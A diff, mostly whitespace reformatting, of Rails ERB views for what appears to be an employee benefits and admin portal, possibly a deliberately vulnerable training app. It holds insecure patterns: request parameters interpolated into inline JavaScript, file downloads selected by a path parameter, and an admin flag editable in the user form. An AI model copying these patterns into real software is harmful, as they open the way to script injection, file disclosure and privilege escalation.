||||||
|
</div> <!-- End widget header-->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<%= javascript_include_tag "jquery.dataTables.js"%>
|
<%= javascript_include_tag "jquery.dataTables.js"%>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
function dataTablePagination(){
|
function dataTablePagination(){
|
||||||
$('#data-table').dataTable({
|
$('#data-table').dataTable({
|
||||||
"sPaginationType": "full_numbers"
|
"sPaginationType": "full_numbers"
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="admin"]').addClass('active');
|
$('li[id="admin"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
function loadTable(){
|
function loadTable(){
|
||||||
$("#userDataTable").load("/admin/"+ <%= params[:admin_id] %> + "/get_all_users")
|
$("#userDataTable").load("/admin/"+ <%= params[:admin_id] %> + "/get_all_users")
|
||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(
|
$(document).ready(
|
||||||
makeActive,
|
makeActive,
|
||||||
dataTablePagination(),
|
dataTablePagination(),
|
||||||
loadTable()
|
loadTable()
|
||||||
);
|
);
|
||||||
</script>
|
</script>
|
||||||
@@ -1,134 +1,126 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
|
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
|
|
||||||
<div class="span4">
|
<div class="span4">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Health Insurance
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Health Insurance
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- Begin Widget Body -->
|
<!-- Begin Widget Body -->
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
Click on PDF to download<br/><br/>
|
Click on PDF to download<br/><br/>
|
||||||
<%= link_to download_path(:type => "File", :name => "public/docs/Health_n_Stuff.pdf") do %>
|
<%= link_to download_path(:type => "File", :name => "public/docs/Health_n_Stuff.pdf") do %>
|
||||||
<div class="doc-icons-container">
|
<div class="doc-icons-container">
|
||||||
<div class="icon light-blue hidden-tablet">
|
<div class="icon light-blue hidden-tablet">
|
||||||
<span class="fs1 doc-icon" aria-hidden="true" data-icon=""></span>
|
<span class="fs1 doc-icon" aria-hidden="true" data-icon=""></span>
|
||||||
<span class="doc-type">
|
<span class="doc-type">
|
||||||
PDF
|
PDF
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
<% end %>
|
<% end %>
|
||||||
</div>
|
</div>
|
||||||
<!-- End Widget Body -->
|
<!-- End Widget Body -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="span4">
|
<div class="span4">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Dental Insurance
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Dental Insurance
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- Begin Widget Body -->
|
<!-- Begin Widget Body -->
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
Click on PDF to download<br/><br/>
|
Click on PDF to download<br/><br/>
|
||||||
<%= link_to download_path(:type => "File", :name => "public/docs/Dental_n_Stuff.pdf") do %>
|
<%= link_to download_path(:type => "File", :name => "public/docs/Dental_n_Stuff.pdf") do %>
|
||||||
<div class="doc-icons-container">
|
<div class="doc-icons-container">
|
||||||
<div class="icon light-blue hidden-tablet">
|
<div class="icon light-blue hidden-tablet">
|
||||||
<span class="fs1 doc-icon" aria-hidden="true" data-icon=""></span>
|
<span class="fs1 doc-icon" aria-hidden="true" data-icon=""></span>
|
||||||
<span class="doc-type">
|
<span class="doc-type">
|
||||||
PDF
|
PDF
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
<% end %>
|
<% end %>
|
||||||
</div>
|
</div>
|
||||||
<!-- End Widget Body -->
|
<!-- End Widget Body -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div class="widget">
|
<div class="widget">
|
||||||
<div class="widget-header">
|
<div class="widget-header">
|
||||||
<div class="title">
|
<div class="title">
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Health Insurance
|
<span class="fs1" aria-hidden="true" data-icon=""></span> Health Insurance
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- Begin Widget Body -->
|
<!-- Begin Widget Body -->
|
||||||
<div class="widget-body">
|
<div class="widget-body">
|
||||||
<div>
|
<div>
|
||||||
<h2>Upload file</h2>
|
<h2>Upload file</h2>
|
||||||
<%= form_for @benefits, :url => upload_path, :html => { :action => "upload", :multipart => true, :id => "fi" } do |f| %>
|
<%= form_for @benefits, :url => upload_path, :html => { :action => "upload", :multipart => true, :id => "fi" } do |f| %>
|
||||||
<!-- The fileupload-buttonbar contains buttons to add/delete files and start/cancel the upload -->
|
<!-- The fileupload-buttonbar contains buttons to add/delete files and start/cancel the upload -->
|
||||||
<div>
|
<div>
|
||||||
<div>
|
<div>
|
||||||
<%= hidden_field "benefits", "backup", :value => false %>
|
<%= hidden_field "benefits", "backup", :value => false %>
|
||||||
<!-- The fileinput-button span is used to style the file input field as button -->
|
<!-- The fileinput-button span is used to style the file input field as button -->
|
||||||
<span class="btn btn-success fileinput-button">
|
<span class="btn btn-success fileinput-button">
|
||||||
<i class="icon-plus icon-white"></i>
|
<i class="icon-plus icon-white"></i>
|
||||||
<span>Add file</span>
|
<span>Add file</span>
|
||||||
<%= f.file_field :upload %>
|
<%= f.file_field :upload %>
|
||||||
</span>
|
</span>
|
||||||
<button id="start_upload" type="submit" class="btn btn-primary start">
|
<button id="start_upload" type="submit" class="btn btn-primary start">
|
||||||
<i class="icon-upload icon-white"></i>
|
<i class="icon-upload icon-white"></i>
|
||||||
<span><%= t('fileupload.start_upload') %></span>
|
<span><%= t('fileupload.start_upload') %></span>
|
||||||
</button>
|
</button>
|
||||||
<br/><br/><span class="filename">Nothing selected</span>
|
<br/><br/><span class="filename">Nothing selected</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="span5">
|
<div class="span5">
|
||||||
<!-- The global progress bar -->
|
<!-- The global progress bar -->
|
||||||
<div class="progress progress-success progress-striped active fade">
|
<div class="progress progress-success progress-striped active fade">
|
||||||
<div class="bar" style="width:0%;"></div>
|
<div class="bar" style="width:0%;"></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<!-- The loading indicator is shown during image processing -->
|
<!-- The loading indicator is shown during image processing -->
|
||||||
<div class="fileupload-loading"></div>
|
<div class="fileupload-loading"></div>
|
||||||
<br>
|
<br>
|
||||||
<!-- The table listing the files available for upload/download -->
|
<!-- The table listing the files available for upload/download -->
|
||||||
<table class="table table-striped"><tbody class="files" data-toggle="modal-gallery" data-target="#modal-gallery"></tbody>
|
<table class="table table-striped"><tbody class="files" data-toggle="modal-gallery" data-target="#modal-gallery"></tbody>
|
||||||
</table>
|
</table>
|
||||||
<% end %>
|
<% end %>
|
||||||
<div id="progress">
|
<div id="progress">
|
||||||
<div class="bar" style="width: 0%;"></div>
|
<div class="bar" style="width: 0%;"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
$(function() {
|
||||||
|
$("#benefits_upload").change(function (){
|
||||||
|
var fileName = $(this).val();
|
||||||
|
$(".filename").html(fileName);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
$(function() {
|
function makeActive(){
|
||||||
$("#benefits_upload").change(function (){
|
$('li[id="benefit_forms"]').addClass('active');
|
||||||
var fileName = $(this).val();
|
};
|
||||||
$(".filename").html(fileName);
|
|
||||||
});
|
|
||||||
|
|
||||||
});
|
|
||||||
|
|
||||||
function makeActive(){
|
|
||||||
$('li[id="benefit_forms"]').addClass('active');
|
|
||||||
};
|
|
||||||
|
|
||||||
$(document).ready(
|
|
||||||
makeActive
|
|
||||||
);
|
|
||||||
|
|
||||||
|
|
||||||
|
$(document).ready(makeActive);
|
||||||
</script>
|
</script>
|
||||||
+143
-148
@@ -1,172 +1,167 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
|
<div class="main-container">
|
||||||
<div class="main-container">
|
<div class="row-fluid">
|
||||||
|
<div class="span12"> <!--begin span12 -->
|
||||||
<div class="row-fluid">
|
<% if @user.paid_time_off %>
|
||||||
<div class="span12"> <!--begin span12 -->
|
<%= render :partial => "layouts/dashboard/dashboard_stats"%>
|
||||||
<% if @user.paid_time_off %>
|
<% end %>
|
||||||
<%= render :partial => "layouts/dashboard/dashboard_stats"%>
|
</div> <!-- end span12 -->
|
||||||
<% end %>
|
</div>
|
||||||
</div> <!-- end span12 -->
|
</div>
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
|
||||||
function makeActive(){
|
function makeActive(){
|
||||||
$('li[id="home"]').addClass('active');
|
$('li[id="home"]').addClass('active');
|
||||||
};
|
};
|
||||||
|
|
||||||
function pieChartHome() {
|
function pieChartHome() {
|
||||||
$(function () {
|
$(function () {
|
||||||
//create instance
|
//create instance
|
||||||
$('.chart1').easyPieChart({
|
$('.chart1').easyPieChart({
|
||||||
animate: 2000,
|
animate: 2000,
|
||||||
barColor: '#e26666',
|
barColor: '#e26666',
|
||||||
trackColor: '#dddddd',
|
trackColor: '#dddddd',
|
||||||
scaleColor: '#e26666',
|
scaleColor: '#e26666',
|
||||||
size: 160,
|
size: 160,
|
||||||
lineWidth: 7,
|
lineWidth: 7,
|
||||||
});
|
|
||||||
//update instance after 5 sec
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart1').data('easyPieChart').update(50);
|
|
||||||
}, 5000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart1').data('easyPieChart').update(70);
|
|
||||||
}, 10000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart1').data('easyPieChart').update(30);
|
|
||||||
}, 15000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart1').data('easyPieChart').update(90);
|
|
||||||
}, 19000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart1').data('easyPieChart').update(40);
|
|
||||||
}, 32000);
|
|
||||||
});
|
});
|
||||||
|
//update instance after 5 sec
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart1').data('easyPieChart').update(50);
|
||||||
|
}, 5000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart1').data('easyPieChart').update(70);
|
||||||
|
}, 10000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart1').data('easyPieChart').update(30);
|
||||||
|
}, 15000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart1').data('easyPieChart').update(90);
|
||||||
|
}, 19000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart1').data('easyPieChart').update(40);
|
||||||
|
}, 32000);
|
||||||
|
});
|
||||||
|
|
||||||
$(function () {
|
$(function () {
|
||||||
//create instance
|
//create instance
|
||||||
$('.chart2').easyPieChart({
|
$('.chart2').easyPieChart({
|
||||||
animate: 2000,
|
animate: 2000,
|
||||||
barColor: '#b5799e',
|
barColor: '#b5799e',
|
||||||
trackColor: '#dddddd',
|
trackColor: '#dddddd',
|
||||||
scaleColor: '#b5799e',
|
scaleColor: '#b5799e',
|
||||||
size: 160,
|
size: 160,
|
||||||
lineWidth: 7,
|
lineWidth: 7,
|
||||||
});
|
|
||||||
//update instance after 5 sec
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart2').data('easyPieChart').update(90);
|
|
||||||
}, 10000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart2').data('easyPieChart').update(40);
|
|
||||||
}, 18000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart2').data('easyPieChart').update(70);
|
|
||||||
}, 28000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart2').data('easyPieChart').update(50);
|
|
||||||
}, 32000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart2').data('easyPieChart').update(80);
|
|
||||||
}, 40000);
|
|
||||||
});
|
});
|
||||||
|
//update instance after 5 sec
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart2').data('easyPieChart').update(90);
|
||||||
|
}, 10000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart2').data('easyPieChart').update(40);
|
||||||
|
}, 18000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart2').data('easyPieChart').update(70);
|
||||||
|
}, 28000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart2').data('easyPieChart').update(50);
|
||||||
|
}, 32000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart2').data('easyPieChart').update(80);
|
||||||
|
}, 40000);
|
||||||
|
});
|
||||||
|
|
||||||
$(function () {
|
$(function () {
|
||||||
//create instance
|
//create instance
|
||||||
$('.chart3').easyPieChart({
|
$('.chart3').easyPieChart({
|
||||||
animate: 2000,
|
animate: 2000,
|
||||||
barColor: '#579da9',
|
barColor: '#579da9',
|
||||||
trackColor: '#dddddd',
|
trackColor: '#dddddd',
|
||||||
scaleColor: '#579da9',
|
scaleColor: '#579da9',
|
||||||
size: 160,
|
size: 160,
|
||||||
lineWidth: 7,
|
lineWidth: 7,
|
||||||
});
|
|
||||||
//update instance after 5 sec
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart3').data('easyPieChart').update(20);
|
|
||||||
}, 9000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart3').data('easyPieChart').update(59);
|
|
||||||
}, 20000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart3').data('easyPieChart').update(38);
|
|
||||||
}, 35000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart3').data('easyPieChart').update(79);
|
|
||||||
}, 49000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart3').data('easyPieChart').update(96);
|
|
||||||
}, 52000);
|
|
||||||
});
|
});
|
||||||
|
//update instance after 5 sec
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart3').data('easyPieChart').update(20);
|
||||||
|
}, 9000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart3').data('easyPieChart').update(59);
|
||||||
|
}, 20000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart3').data('easyPieChart').update(38);
|
||||||
|
}, 35000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart3').data('easyPieChart').update(79);
|
||||||
|
}, 49000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart3').data('easyPieChart').update(96);
|
||||||
|
}, 52000);
|
||||||
|
});
|
||||||
|
|
||||||
$(function () {
|
$(function () {
|
||||||
//create instance
|
//create instance
|
||||||
$('.chart4').easyPieChart({
|
$('.chart4').easyPieChart({
|
||||||
animate: 2000,
|
animate: 2000,
|
||||||
barColor: '#dba26b',
|
barColor: '#dba26b',
|
||||||
trackColor: '#dddddd',
|
trackColor: '#dddddd',
|
||||||
scaleColor: '#dba26b',
|
scaleColor: '#dba26b',
|
||||||
size: 160,
|
size: 160,
|
||||||
lineWidth: 7,
|
lineWidth: 7,
|
||||||
});
|
|
||||||
//update instance after 5 sec
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart4').data('easyPieChart').update(40);
|
|
||||||
}, 6000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart4').data('easyPieChart').update(67);
|
|
||||||
}, 14000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart4').data('easyPieChart').update(43);
|
|
||||||
}, 23000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart4').data('easyPieChart').update(80);
|
|
||||||
}, 36000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart4').data('easyPieChart').update(66);
|
|
||||||
}, 41000);
|
|
||||||
});
|
});
|
||||||
|
//update instance after 5 sec
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart4').data('easyPieChart').update(40);
|
||||||
|
}, 6000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart4').data('easyPieChart').update(67);
|
||||||
|
}, 14000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart4').data('easyPieChart').update(43);
|
||||||
|
}, 23000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart4').data('easyPieChart').update(80);
|
||||||
|
}, 36000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart4').data('easyPieChart').update(66);
|
||||||
|
}, 41000);
|
||||||
|
});
|
||||||
|
|
||||||
|
$(function () {
|
||||||
$(function () {
|
//create instance
|
||||||
//create instance
|
$('.chart5').easyPieChart({
|
||||||
$('.chart5').easyPieChart({
|
animate: 3000,
|
||||||
animate: 3000,
|
barColor: '#1e825e',
|
||||||
barColor: '#1e825e',
|
trackColor: '#dddddd',
|
||||||
trackColor: '#dddddd',
|
scaleColor: '#1e825e',
|
||||||
scaleColor: '#1e825e',
|
size: 160,
|
||||||
size: 160,
|
lineWidth: 7,
|
||||||
lineWidth: 7,
|
|
||||||
});
|
|
||||||
//update instance after 5 sec
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart5').data('easyPieChart').update(30);
|
|
||||||
}, 9000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart5').data('easyPieChart').update(87);
|
|
||||||
}, 19000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart5').data('easyPieChart').update(28);
|
|
||||||
}, 27000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart5').data('easyPieChart').update(69);
|
|
||||||
}, 39000);
|
|
||||||
setTimeout(function () {
|
|
||||||
$('.chart5').data('easyPieChart').update(99);
|
|
||||||
}, 47000);
|
|
||||||
});
|
});
|
||||||
|
//update instance after 5 sec
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart5').data('easyPieChart').update(30);
|
||||||
|
}, 9000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart5').data('easyPieChart').update(87);
|
||||||
|
}, 19000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart5').data('easyPieChart').update(28);
|
||||||
|
}, 27000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart5').data('easyPieChart').update(69);
|
||||||
|
}, 39000);
|
||||||
|
setTimeout(function () {
|
||||||
|
$('.chart5').data('easyPieChart').update(99);
|
||||||
|
}, 47000);
|
||||||
|
});
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
$(document).ready(
|
$(document).ready(
|
||||||
makeActive,
|
makeActive,
|
||||||
pieChartHome()
|
pieChartHome()
|
||||||
);
|
);
|
||||||
|
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
|
|||||||
@@ -18,16 +18,16 @@
|
|||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
<% @analytics.each do |a|%>
|
<% @analytics.each do |a|%>
|
||||||
<tr>
|
<tr>
|
||||||
<% a.attributes.each do |k,v| %>
|
<% a.attributes.each do |k,v| %>
|
||||||
<td><%= v %></td>
|
<td><%= v %></td>
|
||||||
<% end %>
|
<% end %>
|
||||||
</tr>
|
</tr>
|
||||||
<% end %>
|
<% end %>
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
<div id="editAcct" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel1" aria-hidden="true">
|
<div id="editAcct" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel1" aria-hidden="true">
|
||||||
</div>
|
</div>
|
||||||
<div class="clearfix">
|
<div class="clearfix">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -36,11 +36,10 @@
|
|||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
function dataTablePagination(){
|
function dataTablePagination(){
|
||||||
$('#data-table').dataTable({
|
$('#data-table').dataTable({
|
||||||
"sPaginationType": "full_numbers"
|
"sPaginationType": "full_numbers"
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
$(document).ready(dataTablePagination());
|
$(document).ready(dataTablePagination());
|
||||||
</script>
|
</script>
|
||||||
@@ -18,25 +18,25 @@
|
|||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
<% @users.each do |u|%>
|
<% @users.each do |u|%>
|
||||||
<tr>
|
<tr>
|
||||||
<td style="word-wrap:break-word;">
|
<td style="word-wrap:break-word;">
|
||||||
<%= "#{u.first_name} #{u.last_name}"%>
|
<%= "#{u.first_name} #{u.last_name}"%>
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
<%= u.email%>
|
<%= u.email%>
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
<%= u.admin ? %{<span class="fs1" aria-hidden="true" data-icon=""}.html_safe : nil %>
|
<%= u.admin ? %{<span class="fs1" aria-hidden="true" data-icon=""}.html_safe : nil %>
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
<%= link_to "Edit", "#", {:onClick => "javascript:openEditModal(#{u.id});", :role => "button", :style => "width:70px", :class => "btn btn-inverse", "data-toggle" => "modal"}%>
|
<%= link_to "Edit", "#", {:onClick => "javascript:openEditModal(#{u.id});", :role => "button", :style => "width:70px", :class => "btn btn-inverse", "data-toggle" => "modal"}%>
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
<% end %>
|
<% end %>
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
<div id="editAcct" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel1" aria-hidden="true">
|
<div id="editAcct" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel1" aria-hidden="true">
|
||||||
</div>
|
</div>
|
||||||
<div class="clearfix">
|
<div class="clearfix">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -51,11 +51,10 @@ function openEditModal(id){
|
|||||||
};
|
};
|
||||||
|
|
||||||
function dataTablePagination(){
|
function dataTablePagination(){
|
||||||
$('#data-table').dataTable({
|
$('#data-table').dataTable({
|
||||||
"sPaginationType": "full_numbers"
|
"sPaginationType": "full_numbers"
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
$(document).ready(dataTablePagination());
|
$(document).ready(dataTablePagination());
|
||||||
</script>
|
</script>
|
||||||
@@ -1,7 +1,4 @@
|
|||||||
|
|
||||||
|
|
||||||
<!-- Begin Modal -->
|
<!-- Begin Modal -->
|
||||||
|
|
||||||
<div class="modal-header">
|
<div class="modal-header">
|
||||||
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">
|
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">
|
||||||
×
|
×
|
||||||
@@ -13,34 +10,34 @@
|
|||||||
<div class="modal-body">
|
<div class="modal-body">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span8">
|
<div class="span8">
|
||||||
<%= form_for @user, :html => {:id => "account_edit"} do |f| %>
|
<%= form_for @user, :html => {:id => "account_edit"} do |f| %>
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :email, nil, {:class => "control-label"}%>
|
<%= f.label :email, nil, {:class => "control-label"}%>
|
||||||
<%= f.text_field :email, {:class => "span12"}%>
|
<%= f.text_field :email, {:class => "span12"}%>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :first_name, nil, {:class => "control-label"}%>
|
<%= f.label :first_name, nil, {:class => "control-label"}%>
|
||||||
<%= f.text_field :first_name, {:class => "span12"} %>
|
<%= f.text_field :first_name, {:class => "span12"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :last_name, nil, {:class => "control-label"}%>
|
<%= f.label :last_name, nil, {:class => "control-label"}%>
|
||||||
<%= f.text_field :last_name, {:class => "span12"} %>
|
<%= f.text_field :last_name, {:class => "span12"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :password, nil, {:class => "control-label"}%>
|
<%= f.label :password, nil, {:class => "control-label"}%>
|
||||||
<%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%>
|
<%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="control-group">
|
<div class="control-group">
|
||||||
<%= f.label :password_confirmation, nil, {:class => "control-label"}%>
|
<%= f.label :password_confirmation, nil, {:class => "control-label"}%>
|
||||||
<%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %>
|
<%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<%= f.label :admin, nil, {:class => "control-label"}%>
|
<%= f.label :admin, nil, {:class => "control-label"}%>
|
||||||
<%= f.select(:admin, @admin_select) %>
|
<%= f.select(:admin, @admin_select) %>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
@@ -53,7 +50,7 @@
|
|||||||
<%= link_to "Delete", "#", {:id => "delete_button", :class => "btn btn-danger pull-left"} %>
|
<%= link_to "Delete", "#", {:id => "delete_button", :class => "btn btn-danger pull-left"} %>
|
||||||
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-primary pull-right"} %>
|
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-primary pull-right"} %>
|
||||||
</div>
|
</div>
|
||||||
<% end %>
|
<% end %>
|
||||||
<!-- End Modal -->
|
<!-- End Modal -->
|
||||||
|
|
||||||
<%= javascript_include_tag ('validation.js')%>
|
<%= javascript_include_tag ('validation.js')%>
|
||||||
@@ -61,38 +58,38 @@
|
|||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
$('#submit_button').click(function() {
|
$('#submit_button').click(function() {
|
||||||
var valuesToSubmit = $("#account_edit").serialize();
|
var valuesToSubmit = $("#account_edit").serialize();
|
||||||
$("#editAcct").modal('hide');
|
$("#editAcct").modal('hide');
|
||||||
|
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: "/admin/" + <%= @user.user_id %> + "/update_user.json",
|
url: "/admin/" + <%= @user.user_id %> + "/update_user.json",
|
||||||
data: valuesToSubmit,
|
data: valuesToSubmit,
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
$('#success').show(500).delay(1500).fadeOut();
|
$('#success').show(500).delay(1500).fadeOut();
|
||||||
loadTable();
|
loadTable();
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
});
|
});
|
||||||
|
|
||||||
$('#delete_button').click(function() {
|
$('#delete_button').click(function() {
|
||||||
$("#editAcct").modal('hide');
|
$("#editAcct").modal('hide');
|
||||||
|
|
||||||
$.ajax({
|
$.ajax({
|
||||||
url: "/admin/" + <%= params[:admin_id] %> + "/delete_user.json",
|
url: "/admin/" + <%= params[:admin_id] %> + "/delete_user.json",
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) {
|
success: function(response) {
|
||||||
$('#success').show(500).delay(1500).fadeOut();
|
$('#success').show(500).delay(1500).fadeOut();
|
||||||
loadTable();
|
loadTable();
|
||||||
},
|
},
|
||||||
error: function(event) {
|
error: function(event) {
|
||||||
$('#failure').show(500).delay(1500).fadeOut();
|
$('#failure').show(500).delay(1500).fadeOut();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -17,19 +17,19 @@ end
|
|||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<% if current_user %>
|
<% if current_user %>
|
||||||
<%= render "layouts/shared/header" %>
|
<%= render "layouts/shared/header" %>
|
||||||
<%= render "layouts/shared/sidebar" %>
|
<%= render "layouts/shared/sidebar" %>
|
||||||
<% else %>
|
<% else %>
|
||||||
<%= render "layouts/tutorial/header" %>
|
<%= render "layouts/tutorial/header" %>
|
||||||
